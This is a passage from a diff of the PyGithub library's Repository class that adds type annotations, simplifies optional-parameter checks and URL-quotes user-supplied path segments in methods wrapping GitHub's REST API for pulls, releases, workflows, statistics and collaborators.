direction - return github.PaginatedList.PaginatedList( + return PaginatedList( github.Milestone.Milestone, self._requester, f"{self.url}/milestones", url_parameters, ) - def get_network_events(self): + def get_network_events(self) -> PaginatedList[Event]: """ :calls: `GET /networks/{owner}/{repo}/events `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Event.Event` + :rtype: :class:`PaginatedList` of :class:`github.Event.Event` """ - return github.PaginatedList.PaginatedList( + return PaginatedList( github.Event.Event, self._requester, f"/networks/{self.owner.login}/{self.name}/events", None, ) - def get_public_key(self): + def get_public_key(self) -> PublicKey: """ :calls: `GET /repos/{owner}/{repo}/actions/secrets/public-key `_ :rtype: :class:`github.PublicKey.PublicKey` """ - headers, data = self._requester.requestJsonAndCheck( - "GET", f"{self.url}/actions/secrets/public-key" - ) - return github.PublicKey.PublicKey( - self._requester, headers, data, completed=True - ) + headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/actions/secrets/public-key") + return github.PublicKey.PublicKey(self._requester, headers, data, completed=True) - def get_pull(self, number): + def get_pull(self, number: int) -> PullRequest: """ :calls: `GET /repos/{owner}/{repo}/pulls/{number} `_ :param number: integer :rtype: :class:`github.PullRequest.PullRequest` """ assert isinstance(number, int), number - headers, data = self._requester.requestJsonAndCheck( - "GET", f"{self.url}/pulls/{number}" - ) - return github.PullRequest.PullRequest( - self._requester, headers, data, completed=True - ) + headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/pulls/{number}") + return github.PullRequest.PullRequest(self._requester, headers, data, completed=True) def get_pulls( self, - state=github.GithubObject.NotSet, - sort=github.GithubObject.NotSet, - direction=github.GithubObject.NotSet, - base=github.GithubObject.NotSet, - head=github.GithubObject.NotSet, - ): + state: Opt[str] = NotSet, + sort: Opt[str] = NotSet, + direction: Opt[str] = NotSet, + base: Opt[str] = NotSet, + head: Opt[str] = NotSet, + ) -> PaginatedList[PullRequest]: """ :calls: `GET /repos/{owner}/{repo}/pulls `_ :param state: string @@ -2882,27 +3045,25 @@ def get_pulls( :param direction: string :param base: string :param head: string - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.PullRequest.PullRequest` - """ - assert state is github.GithubObject.NotSet or isinstance(state, str), state - assert sort is github.GithubObject.NotSet or isinstance(sort, str), sort - assert direction is github.GithubObject.NotSet or isinstance( - direction, str - ), direction - assert base is github.GithubObject.NotSet or isinstance(base, str), base - assert head is github.GithubObject.NotSet or isinstance(head, str), head + :rtype: :class:`PaginatedList` of :class:`github.PullRequest.PullRequest` + """ + assert is_optional(state, str), state + assert is_optional(sort, str), sort + assert is_optional(direction, str), direction + assert is_optional(base, str), base + assert is_optional(head, str), head url_parameters = dict() - if state is not github.GithubObject.NotSet: + if is_defined(state): url_parameters["state"] = state - if sort is not github.GithubObject.NotSet: + if is_defined(sort): url_parameters["sort"] = sort - if direction is not github.GithubObject.NotSet: + if is_defined(direction): url_parameters["direction"] = direction - if base is not github.GithubObject.NotSet: + if is_defined(base): url_parameters["base"] = base - if head is not github.GithubObject.NotSet: + if is_defined(head): url_parameters["head"] = head - return github.PaginatedList.PaginatedList( + return PaginatedList( github.PullRequest.PullRequest, self._requester, f"{self.url}/pulls", @@ -2911,102 +3072,78 @@ def get_pulls( def get_pulls_comments( self, - sort=github.GithubObject.NotSet, - direction=github.GithubObject.NotSet, - since=github.GithubObject.NotSet, - ): + sort: Opt[str] = NotSet, + direction: Opt[str] = NotSet, + since: Opt[datetime] = NotSet, + ) -> PaginatedList[PullRequestComment]: """ :calls: `GET /repos/{owner}/{repo}/pulls/comments `_ :param sort: string :param direction: string - :param since: datetime.datetime - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.PullRequestComment.PullRequestComment` + :param since: datetime + :rtype: :class:`PaginatedList` of :class:`github.PullRequestComment.PullRequestComment` """ return self.get_pulls_review_comments(sort, direction, since) def get_pulls_review_comments( self, - sort=github.GithubObject.NotSet, - direction=github.GithubObject.NotSet, - since=github.GithubObject.NotSet, - ): + sort: Opt[str] = NotSet, + direction: Opt[str] = NotSet, + since: Opt[datetime] = NotSet, + ) -> PaginatedList[PullRequestComment]: """ :calls: `GET /repos/{owner}/{repo}/pulls/comments `_ - :param sort: string - :param direction: string - :param since: datetime.datetime - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.PullRequestComment.PullRequestComment` - """ - assert sort is github.GithubObject.NotSet or isinstance(sort, str), sort - assert direction is github.GithubObject.NotSet or isinstance( - direction, str - ), direction - assert since is github.GithubObject.NotSet or isinstance( - since, datetime.datetime - ), since + :param sort: string 'created', 'updated', 'created_at' + :param direction: string 'asc' or 'desc' + :param since: datetime + :rtype: :class:`PaginatedList` of :class:`github.PullRequestComment.PullRequestComment` + """ + assert is_optional(sort, str), sort + assert is_optional(direction, str), direction + assert is_optional(since, datetime), since url_parameters = dict() - if sort is not github.GithubObject.NotSet: + if is_defined(sort): url_parameters["sort"] = sort - if direction is not github.GithubObject.NotSet: + if is_defined(direction): url_parameters["direction"] = direction - if since is not github.GithubObject.NotSet: + if is_defined(since): url_parameters["since"] = since.strftime("%Y-%m-%dT%H:%M:%SZ") - return github.PaginatedList.PaginatedList( + return PaginatedList( github.PullRequestComment.PullRequestComment, self._requester, f"{self.url}/pulls/comments", url_parameters, ) - def get_readme(self, ref=github.GithubObject.NotSet): + def get_readme(self, ref: Opt[str] = NotSet) -> ContentFile: """ :calls: `GET /repos/{owner}/{repo}/readme `_ :param ref: string :rtype: :class:`github.ContentFile.ContentFile` """ - assert ref is github.GithubObject.NotSet or isinstance(ref, str), ref + assert is_optional(ref, str), ref url_parameters = dict() - if ref is not github.GithubObject.NotSet: + if is_defined(ref): url_parameters["ref"] = ref - headers, data = self._requester.requestJsonAndCheck( - "GET", f"{self.url}/readme", parameters=url_parameters - ) - return github.ContentFile.ContentFile( - self._requester, headers, data, completed=True - ) + headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/readme", parameters=url_parameters) + return github.ContentFile.ContentFile(self._requester, headers, data, completed=True) - def get_self_hosted_runner(self, runner_id): + def get_self_hosted_runner(self, runner_id: int) -> SelfHostedActionsRunner: """ :calls: `GET /repos/{owner}/{repo}/actions/runners/{id} `_ :param runner_id: int :rtype: :class:`github.SelfHostedActionsRunner.SelfHostedActionsRunner` """ assert isinstance(runner_id, int), runner_id - headers, data = self._requester.requestJsonAndCheck( - "GET", f"{self.url}/actions/runners/{runner_id}" - ) - return github.SelfHostedActionsRunner.SelfHostedActionsRunner( - self._requester, headers, data, completed=True - ) - - def get_self_hosted_action_runner_registration_token(self): - """ - :calls: POST /repos/{owner}/{repo}/actions/runners/registration-token - :rtype: string - """ - headers, data = self._requester.requestJsonAndCheck( - "POST", f"{self.url}/actions/runners/registration-token" - ) - return github.SelfHostedActionsRunnerRegistrationToken.SelfHostedActionsRunnerRegistrationToken( - self._requester, headers, data, completed=True - ) + headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/actions/runners/{runner_id}") + return github.SelfHostedActionsRunner.SelfHostedActionsRunner(self._requester, headers, data, completed=True) - def get_self_hosted_runners(self): + def get_self_hosted_runners(self) -> PaginatedList[SelfHostedActionsRunner]: """ :calls: `GET /repos/{owner}/{repo}/actions/runners `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.SelfHostedActionsRunner.SelfHostedActionsRunner` + :rtype: :class:`PaginatedList` of :class:`github.SelfHostedActionsRunner.SelfHostedActionsRunner` """ - return github.PaginatedList.PaginatedList( + return PaginatedList( github.SelfHostedActionsRunner.SelfHostedActionsRunner, self._requester, f"{self.url}/actions/runners", @@ -3014,10 +3151,21 @@ def get_self_hosted_runners(self): list_item="runners", ) - def get_source_import(self): + def get_self_hosted_action_runner_registration_token( + self, + ) -> github.SelfHostedActionsRunnerRegistrationToken.SelfHostedActionsRunnerRegistrationToken: + """ + :calls: POST /repos/{owner}/{repo}/actions/runners/registration-token + :rtype: string + """ + headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/actions/runners/registration-token") + return github.SelfHostedActionsRunnerRegistrationToken.SelfHostedActionsRunnerRegistrationToken( + self._requester, headers, data, completed=True + ) + + def get_source_import(self) -> SourceImport | None: """ :calls: `GET /repos/{owner}/{repo}/import `_ - :rtype: :class:`github.SourceImport.SourceImport` """ import_header = {"Accept": Consts.mediaTypeImportPreview} headers, data = self._requester.requestJsonAndCheck( @@ -3028,25 +3176,21 @@ def get_source_import(self): if not data: return None else: - return github.SourceImport.SourceImport( - self._requester, headers, data, completed=True - ) + return github.SourceImport.SourceImport(self._requester, headers, data, completed=True) - def get_stargazers(self): + def get_stargazers(self) -> PaginatedList[NamedUser]: """ :calls: `GET /repos/{owner}/{repo}/stargazers `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.NamedUser.NamedUser` + :rtype: :class:`PaginatedList` of :class:`github.NamedUser.NamedUser` """ - return github.PaginatedList.PaginatedList( - github.NamedUser.NamedUser, self._requester, f"{self.url}/stargazers", None - ) + return PaginatedList(github.NamedUser.NamedUser, self._requester, f"{self.url}/stargazers", None) - def get_stargazers_with_dates(self): + def get_stargazers_with_dates(self) -> PaginatedList[Stargazer]: """ :calls: `GET /repos/{owner}/{repo}/stargazers `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Stargazer.Stargazer` + :rtype: :class:`PaginatedList` of :class:`github.Stargazer.Stargazer` """ - return github.PaginatedList.PaginatedList( + return PaginatedList( github.Stargazer.Stargazer, self._requester, f"{self.url}/stargazers", @@ -3054,160 +3198,121 @@ def get_stargazers_with_dates(self): headers={"Accept": Consts.mediaTypeStarringPreview}, ) - def get_stats_contributors(self): + def get_stats_contributors(self) -> list[StatsContributor] | None: """ :calls: `GET /repos/{owner}/{repo}/stats/contributors `_ :rtype: None or list of :class:`github.StatsContributor.StatsContributor` """ - headers, data = self._requester.requestJsonAndCheck( - "GET", f"{self.url}/stats/contributors" - ) + headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/stats/contributors") if not data: return None else: return [ - github.StatsContributor.StatsContributor( - self._requester, headers, attributes, completed=True - ) + github.StatsContributor.StatsContributor(self._requester, headers, attributes, completed=True) for attributes in data ] - def get_stats_commit_activity(self): + def get_stats_commit_activity(self) -> list[StatsCommitActivity] | None: """ :calls: `GET /repos/{owner}/{repo}/stats/commit_activity `_ :rtype: None or list of :class:`github.StatsCommitActivity.StatsCommitActivity` """ - headers, data = self._requester.requestJsonAndCheck( - "GET", f"{self.url}/stats/commit_activity" - ) + headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/stats/commit_activity") if not data: return None else: return [ - github.StatsCommitActivity.StatsCommitActivity( - self._requester, headers, attributes, completed=True - ) + github.StatsCommitActivity.StatsCommitActivity(self._requester, headers, attributes, completed=True) for attributes in data ] - def get_stats_code_frequency(self): + def get_stats_code_frequency(self) -> list[StatsCodeFrequency] | None: """ :calls: `GET /repos/{owner}/{repo}/stats/code_frequency `_ :rtype: None or list of :class:`github.StatsCodeFrequency.StatsCodeFrequency` """ - headers, data = self._requester.requestJsonAndCheck( - "GET", f"{self.url}/stats/code_frequency" - ) + headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/stats/code_frequency") if not data: return None else: return [ - github.StatsCodeFrequency.StatsCodeFrequency( - self._requester, headers, attributes, completed=True - ) + github.StatsCodeFrequency.StatsCodeFrequency(self._requester, headers, attributes, completed=True) for attributes in data ] - def get_stats_participation(self): + def get_stats_participation(self) -> StatsParticipation | None: """ :calls: `GET /repos/{owner}/{repo}/stats/participation `_ :rtype: None or :class:`github.StatsParticipation.StatsParticipation` """ - headers, data = self._requester.requestJsonAndCheck( - "GET", f"{self.url}/stats/participation" - ) + headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/stats/participation") if not data: return None else: - return github.StatsParticipation.StatsParticipation( - self._requester, headers, data, completed=True - ) + return github.StatsParticipation.StatsParticipation(self._requester, headers, data, completed=True) - def get_stats_punch_card(self): + def get_stats_punch_card(self) -> StatsPunchCard | None: """ :calls: `GET /repos/{owner}/{repo}/stats/punch_card `_ :rtype: None or :class:`github.StatsPunchCard.StatsPunchCard` """ - headers, data = self._requester.requestJsonAndCheck( - "GET", f"{self.url}/stats/punch_card" - ) + headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/stats/punch_card") if not data: return None else: - return github.StatsPunchCard.StatsPunchCard( - self._requester, headers, data, completed=True - ) + return github.StatsPunchCard.StatsPunchCard(self._requester, headers, data, completed=True) - def get_subscribers(self): + def get_subscribers(self) -> PaginatedList[NamedUser]: """ :calls: `GET /repos/{owner}/{repo}/subscribers `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.NamedUser.NamedUser` + :rtype: :class:`PaginatedList` of :class:`github.NamedUser.NamedUser` """ - return github.PaginatedList.PaginatedList( - github.NamedUser.NamedUser, self._requester, f"{self.url}/subscribers", None - ) + return PaginatedList(github.NamedUser.NamedUser, self._requester, f"{self.url}/subscribers", None) - def get_tags(self): + def get_tags(self) -> PaginatedList[Tag]: """ :calls: `GET /repos/{owner}/{repo}/tags `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Tag.Tag` + :rtype: :class:`PaginatedList` of :class:`github.Tag.Tag` """ - return github.PaginatedList.PaginatedList( - github.Tag.Tag, self._requester, f"{self.url}/tags", None - ) + return PaginatedList(github.Tag.Tag, self._requester, f"{self.url}/tags", None) - def get_releases(self): + def get_releases(self) -> PaginatedList[GitRelease]: """ :calls: `GET /repos/{owner}/{repo}/releases `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.GitRelease.GitRelease` + :rtype: :class:`PaginatedList` of :class:`github.GitRelease.GitRelease` """ - return github.PaginatedList.PaginatedList( - github.GitRelease.GitRelease, self._requester, f"{self.url}/releases", None - ) + return PaginatedList(github.GitRelease.GitRelease, self._requester, f"{self.url}/releases", None) - def get_release(self, id): + def get_release(self, id: int | str) -> GitRelease: """ :calls: `GET /repos/{owner}/{repo}/releases/{id} `_ :param id: int (release id), str (tag name) :rtype: None or :class:`github.GitRelease.GitRelease` """ if isinstance(id, int): - headers, data = self._requester.requestJsonAndCheck( - "GET", f"{self.url}/releases/{id}" - ) - return github.GitRelease.GitRelease( - self._requester, headers, data, completed=True - ) + headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/releases/{id}") + return github.GitRelease.GitRelease(self._requester, headers, data, completed=True) elif isinstance(id, str): - headers, data = self._requester.requestJsonAndCheck( - "GET", f"{self.url}/releases/tags/{id}" - ) - return github.GitRelease.GitRelease( - self._requester, headers, data, completed=True - ) + id = urllib.parse.quote(id) + headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/releases/tags/{id}") + return github.GitRelease.GitRelease(self._requester, headers, data, completed=True) - def get_latest_release(self): + def get_latest_release(self) -> GitRelease: """ :calls: `GET /repos/{owner}/{repo}/releases/latest `_ :rtype: :class:`github.GitRelease.GitRelease` """ - headers, data = self._requester.requestJsonAndCheck( - "GET", f"{self.url}/releases/latest" - ) - return github.GitRelease.GitRelease( - self._requester, headers, data, completed=True - ) + headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/releases/latest") + return github.GitRelease.GitRelease(self._requester, headers, data, completed=True) - def get_teams(self): + def get_teams(self) -> PaginatedList[Team]: """ :calls: `GET /repos/{owner}/{repo}/teams `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Team.Team` + :rtype: :class:`PaginatedList` of :class:`github.Team.Team` """ - return github.PaginatedList.PaginatedList( - github.Team.Team, self._requester, f"{self.url}/teams", None - ) + return PaginatedList(github.Team.Team, self._requester, f"{self.url}/teams", None) - def get_topics(self): + def get_topics(self) -> list[str]: """ :calls: `GET /repos/{owner}/{repo}/topics `_ :rtype: list of strings @@ -3219,21 +3324,19 @@ def get_topics(self): ) return data["names"] - def get_watchers(self): + def get_watchers(self) -> PaginatedList[NamedUser]: """ :calls: `GET /repos/{owner}/{repo}/watchers `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.NamedUser.NamedUser` + :rtype: :class:`PaginatedList` of :class:`github.NamedUser.NamedUser` """ - return github.PaginatedList.PaginatedList( - github.NamedUser.NamedUser, self._requester, f"{self.url}/watchers", None - ) + return PaginatedList(github.NamedUser.NamedUser, self._requester, f"{self.url}/watchers", None) - def get_workflows(self): + def get_workflows(self) -> PaginatedList[Workflow]: """ :calls: `GET /repos/{owner}/{repo}/actions/workflows `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Workflow.Workflow` + :rtype: :class:`PaginatedList` of :class:`github.Workflow.Workflow` """ - return github.PaginatedList.PaginatedList( + return PaginatedList( github.Workflow.Workflow, self._requester, f"{self.url}/actions/workflows", @@ -3241,20 +3344,19 @@ def get_workflows(self): list_item="workflows", ) - def get_workflow(self, id_or_name): + def get_workflow(self, id_or_file_name: str | int) -> Workflow: """ :calls: `GET /repos/{owner}/{repo}/actions/workflows/{workflow_id} `_ - :param id_or_name: int or string + :param id_or_file_name: int or string. Can be either a workflow ID or a filename. :rtype: :class:`github.Workflow.Workflow` """ - assert isinstance(id_or_name, int) or isinstance(id_or_name, str), id_or_name - headers, data = self._requester.requestJsonAndCheck( - "GET", f"{self.url}/actions/workflows/{id_or_name}" - ) + assert isinstance(id_or_file_name, (int, str)), id_or_file_name + id_or_file_name = urllib.parse.quote(str(id_or_file_name)) + headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/actions/workflows/{id_or_file_name}") return github.Workflow.Workflow(self._requester, headers, data, completed=True) - def get_workflow_job(self, job_id): + def get_workflow_job(self, job_id: int | str) -> Job: """ :calls: `GET /repos/{owner}/{repo}/actions/jobs/{job_id} `_ :param job_id: int or string @@ -3262,57 +3364,57 @@ def get_workflow_job(self, job_id): :rtype: :class:`github.Job.Job` """ assert isinstance(job_id, int) or isinstance(job_id, str), job_id - headers, data = self._requester.requestJsonAndCheck( - "GET", f"{self.url}/actions/jobs/{job_id}" - ) + headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/actions/jobs/{job_id}") return github.Job.Job(self._requester, headers, data, completed=True) def get_workflow_runs( self, - actor=github.GithubObject.NotSet, - branch=github.GithubObject.NotSet, - event=github.GithubObject.NotSet, - status=github.GithubObject.NotSet, - ): + actor: Opt[NamedUser] = NotSet, + branch: Opt[Branch] = NotSet, + event: Opt[str] = NotSet, + status: Opt[str] = NotSet, + exclude_pull_requests: Opt[bool] = NotSet, + head_sha: Opt[str] = NotSet, + ) -> PaginatedList[WorkflowRun]: """ :calls: `GET /repos/{owner}/{repo}/actions/runs `_ :param actor: :class:`github.NamedUser.NamedUser` or string :param branch: :class:`github.Branch.Branch` or string :param event: string :param status: string `queued`, `in_progress`, `completed`, `success`, `failure`, `neutral`, `cancelled`, `skipped`, `timed_out`, or `action_required` + :param exclude_pull_requests: bool + :param head_sha: string - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.WorkflowRun.WorkflowRun` + :rtype: :class:`PaginatedList` of :class:`github.WorkflowRun.WorkflowRun` """ - assert ( - actor is github.GithubObject.NotSet - or isinstance(actor, github.NamedUser.NamedUser) - or isinstance(actor, str) - ), actor - assert ( - branch is github.GithubObject.NotSet - or isinstance(branch, github.Branch.Branch) - or isinstance(branch, str) - ), branch - assert event is github.GithubObject.NotSet or isinstance(event, str), event - assert status is github.GithubObject.NotSet or isinstance(status, str), status + assert is_optional(actor, (github.NamedUser.NamedUser, str)), actor + assert is_optional(branch, (github.Branch.Branch, str)), branch + assert is_optional(event, str), event + assert is_optional(status, str), status + assert is_optional(exclude_pull_requests, bool), exclude_pull_requests + assert is_optional(head_sha, str), head_sha - url_parameters = dict() - if actor is not github.GithubObject.NotSet: + url_parameters: dict[str, Any] = {} + if is_defined(actor): if isinstance(actor, github.NamedUser.NamedUser): url_parameters["actor"] = actor._identity else: url_parameters["actor"] = actor - if branch is not github.GithubObject.NotSet: + if is_defined(branch): if isinstance(branch, github.Branch.Branch): url_parameters["branch"] = branch.name else: url_parameters["branch"] = branch - if event is not github.GithubObject.NotSet: + if is_defined(event): url_parameters["event"] = event - if status is not github.GithubObject.NotSet: + if is_defined(status): url_parameters["status"] = status + if is_defined(exclude_pull_requests) and exclude_pull_requests: + url_parameters["exclude_pull_requests"] = 1 + if is_defined(head_sha): + url_parameters["head_sha"] = head_sha - return github.PaginatedList.PaginatedList( + return PaginatedList( github.WorkflowRun.WorkflowRun, self._requester, f"{self.url}/actions/runs", @@ -3320,7 +3422,7 @@ def get_workflow_runs( list_item="workflow_runs", ) - def get_workflow_run(self, id_): + def get_workflow_run(self, id_: int) -> WorkflowRun: """ :calls: `GET /repos/{owner}/{repo}/actions/runs/{run_id} `_ :param id_: int @@ -3328,50 +3430,42 @@ def get_workflow_run(self, id_): :rtype: :class:`github.WorkflowRun.WorkflowRun` """ assert isinstance(id_, int) - headers, data = self._requester.requestJsonAndCheck( - "GET", f"{self.url}/actions/runs/{id_}" - ) - return github.WorkflowRun.WorkflowRun( - self._requester, headers, data, completed=True - ) + headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/actions/runs/{id_}") + return github.WorkflowRun.WorkflowRun(self._requester, headers, data, completed=True) - def has_in_assignees(self, assignee): + def has_in_assignees(self, assignee: str | NamedUser) -> bool: """ :calls: `GET /repos/{owner}/{repo}/assignees/{assignee} `_ :param assignee: string or :class:`github.NamedUser.NamedUser` :rtype: bool """ - assert isinstance(assignee, github.NamedUser.NamedUser) or isinstance( - assignee, str - ), assignee + assert isinstance(assignee, github.NamedUser.NamedUser) or isinstance(assignee, str), assignee if isinstance(assignee, github.NamedUser.NamedUser): assignee = assignee._identity + else: + assignee = urllib.parse.quote(assignee) - status, headers, data = self._requester.requestJson( - "GET", f"{self.url}/assignees/{assignee}" - ) + status, headers, data = self._requester.requestJson("GET", f"{self.url}/assignees/{assignee}") return status == 204 - def has_in_collaborators(self, collaborator): + def has_in_collaborators(self, collaborator: str | NamedUser) -> bool: """ :calls: `GET /repos/{owner}/{repo}/collaborators/{user} `_ :param collaborator: string or :class:`github.NamedUser.NamedUser` :rtype: bool """ - assert isinstance(collaborator, github.NamedUser.NamedUser) or isinstance( - collaborator, str - ), collaborator + assert isinstance(collaborator, github.NamedUser.NamedUser) or isinstance(collaborator, str), collaborator if isinstance(collaborator, github.NamedUser.NamedUser): collaborator = collaborator._identity + else: + collaborator = urllib.parse.quote(collaborator) - status, headers, data = self._requester.requestJson( - "GET", f"{self.url}/collaborators/{collaborator}" - ) + status, headers, data = self._requester.requestJson("GET", f"{self.url}/collaborators/{collaborator}") return status == 204 - def _legacy_convert_issue(self, attributes): + def _legacy_convert_issue(self, attributes: dict[str, Any]) -> dict[str, Any]: convertedAttributes = { "number": attributes["number"], "url": f"/repos{urllib.parse.urlparse(attributes['html_url']).path}", @@ -3381,15 +3475,13 @@ def _legacy_convert_issue(self, attributes): }, } if "labels" in attributes: # pragma no branch - convertedAttributes["labels"] = [ - {"name": label} for label in attributes["labels"] - ] + convertedAttributes["labels"] = [{"name": label} for label in attributes["labels"]] for attr in ("title", "created_at", "comments", "body", "updated_at", "state"): if attr in attributes: # pragma no branch convertedAttributes[attr] = attributes[attr] return convertedAttributes - def legacy_search_issues(self, state, keyword): + def legacy_search_issues(self, state: str, keyword: str) -> list[Issue]: """ :calls: `GET /legacy/issues/search/{owner}/{repository}/{state}/{keyword} `_ :param state: "open" or "closed" @@ -3414,61 +3506,49 @@ def legacy_search_issues(self, state, keyword): def get_notifications( self, - all=github.GithubObject.NotSet, - participating=github.GithubObject.NotSet, - since=github.GithubObject.NotSet, - before=github.GithubObject.NotSet, - ): + all: Opt[bool] = NotSet, + participating: Opt[bool] = NotSet, + since: Opt[datetime] = NotSet, + before: Opt[datetime] = NotSet, + ) -> PaginatedList[Notification]: """ :calls: `GET /repos/{owner}/{repo}/notifications `_ :param all: bool :param participating: bool - :param since: datetime.datetime - :param before: datetime.datetime - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Notification.Notification` - """ - - assert all is github.GithubObject.NotSet or isinstance(all, bool), all - assert participating is github.GithubObject.NotSet or isinstance( - participating, bool - ), participating - assert since is github.GithubObject.NotSet or isinstance( - since, datetime.datetime - ), since - assert before is github.GithubObject.NotSet or isinstance( - before, datetime.datetime - ), before - - params = dict() - if all is not github.GithubObject.NotSet: - params["all"] = all - if participating is not github.GithubObject.NotSet: - params["participating"] = participating - if since is not github.GithubObject.NotSet: + :param since: datetime + :param before: datetime + :rtype: :class:`PaginatedList` of :class:`github.Notification.Notification` + """ + + assert is_optional(all, bool), all + assert is_optional(participating, bool), participating + assert is_optional(since, datetime), since + assert is_optional(before, datetime), before + + params = NotSet.remove_unset_items({"all": all, "participating": participating}) + if is_defined(since): params["since"] = since.strftime("%Y-%m-%dT%H:%M:%SZ") - if before is not github.GithubObject.NotSet: + if is_defined(before): params["before"] = before.strftime("%Y-%m-%dT%H:%M:%SZ") - return github.PaginatedList.PaginatedList( + return PaginatedList( github.Notification.Notification, self._requester, f"{self.url}/notifications", params, ) - def mark_notifications_as_read(self, last_read_at=datetime.datetime.utcnow()): + def mark_notifications_as_read(self, last_read_at: datetime = datetime.now(timezone.utc)) -> None: """ :calls: `PUT /repos/{owner}/{repo}/notifications `_ :param last_read_at: datetime """ - assert isinstance(last_read_at, datetime.datetime) + assert isinstance(last_read_at, datetime) put_parameters = {"last_read_at": last_read_at.strftime("%Y-%m-%dT%H:%M:%SZ")} - headers, data = self._requester.requestJsonAndCheck( - "PUT", f"{self.url}/notifications", input=put_parameters - ) + headers, data = self._requester.requestJsonAndCheck("PUT", f"{self.url}/notifications", input=put_parameters) - def merge(self, base, head, commit_message=github.GithubObject.NotSet): + def merge(self, base: str, head: str, commit_message: Opt[str] = NotSet) -> Commit | None: """ :calls: `POST /repos/{owner}/{repo}/merges `_ :param base: string @@ -3478,24 +3558,20 @@ def merge(self, base, head, commit_message=github.GithubObject.NotSet): """ assert isinstance(base, str), base assert isinstance(head, str), head - assert commit_message is github.GithubObject.NotSet or isinstance( - commit_message, str - ), commit_message + assert is_optional(commit_message, str), commit_message post_parameters = { "base": base, "head": head, } - if commit_message is not github.GithubObject.NotSet: + if is_defined(commit_message): post_parameters["commit_message"] = commit_message - headers, data = self._requester.requestJsonAndCheck( - "POST", f"{self.url}/merges", input=post_parameters - ) + headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/merges", input=post_parameters) if data is None: return None else: return github.Commit.Commit(self._requester, headers, data, completed=True) - def replace_topics(self, topics): + def replace_topics(self, topics: list[str]) -> None: """ :calls: `PUT /repos/{owner}/{repo}/topics `_ :param topics: list of strings @@ -3509,7 +3585,7 @@ def replace_topics(self, topics): input=post_parameters, ) - def get_vulnerability_alert(self): + def get_vulnerability_alert(self) -> bool: """ :calls: `GET /repos/{owner}/{repo}/vulnerability-alerts `_ :rtype: bool @@ -3521,7 +3597,7 @@ def get_vulnerability_alert(self): ) return status == 204 - def enable_vulnerability_alert(self): + def enable_vulnerability_alert(self) -> bool: """ :calls: `PUT /repos/{owner}/{repo}/vulnerability-alerts `_ :rtype: bool @@ -3533,7 +3609,7 @@ def enable_vulnerability_alert(self): ) return status == 204 - def disable_vulnerability_alert(self): + def disable_vulnerability_alert(self) -> bool: """ :calls: `DELETE /repos/{owner}/{repo}/vulnerability-alerts `_ :rtype: bool @@ -3545,7 +3621,7 @@ def disable_vulnerability_alert(self): ) return status == 204 - def enable_automated_security_fixes(self): + def enable_automated_security_fixes(self) -> bool: """ :calls: `PUT /repos/{owner}/{repo}/automated-security-fixes `_ :rtype: bool @@ -3557,7 +3633,7 @@ def enable_automated_security_fixes(self): ) return status == 204 - def disable_automated_security_fixes(self): + def disable_automated_security_fixes(self) -> bool: """ :calls: `DELETE /repos/{owner}/{repo}/automated-security-fixes `_ :rtype: bool @@ -3569,42 +3645,38 @@ def disable_automated_security_fixes(self): ) return status == 204 - def remove_from_collaborators(self, collaborator): + def remove_from_collaborators(self, collaborator: str | NamedUser) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/collaborators/{user} `_ :param collaborator: string or :class:`github.NamedUser.NamedUser` :rtype: None """ - assert isinstance(collaborator, github.NamedUser.NamedUser) or isinstance( - collaborator, str - ), collaborator + assert isinstance(collaborator, github.NamedUser.NamedUser) or isinstance(collaborator, str), collaborator if isinstance(collaborator, github.NamedUser.NamedUser): collaborator = collaborator._identity + else: + collaborator = urllib.parse.quote(collaborator) - headers, data = self._requester.requestJsonAndCheck( - "DELETE", f"{self.url}/collaborators/{collaborator}" - ) + headers, data = self._requester.requestJsonAndCheck("DELETE", f"{self.url}/collaborators/{collaborator}") - def remove_self_hosted_runner(self, runner): + def remove_self_hosted_runner(self, runner: SelfHostedActionsRunner | int) -> bool: """ :calls: `DELETE /repos/{owner}/{repo}/actions/runners/{runner_id} `_ :param runner: int or :class:`github.SelfHostedActionsRunner.SelfHostedActionsRunner` :rtype: bool """ - assert isinstance( - runner, github.SelfHostedActionsRunner.SelfHostedActionsRunner - ) or isinstance(runner, int), runner + assert isinstance(runner, github.SelfHostedActionsRunner.SelfHostedActionsRunner) or isinstance( + runner, int + ), runner if isinstance(runner, github.SelfHostedActionsRunner.SelfHostedActionsRunner): runner = runner.id - status, _, _ = self._requester.requestJson( - "DELETE", f"{self.url}/actions/runners/{runner}" - ) + status, _, _ = self._requester.requestJson("DELETE", f"{self.url}/actions/runners/{runner}") return status == 204 - def remove_autolink(self, autolink): + def remove_autolink(self, autolink: Autolink | int) -> bool: """ :calls: `DELETE /repos/{owner}/{repo}/autolinks/{id} `_ :param autolink: int or :class:`github.Autolink.Autolink` @@ -3614,11 +3686,11 @@ def remove_autolink(self, autolink): assert 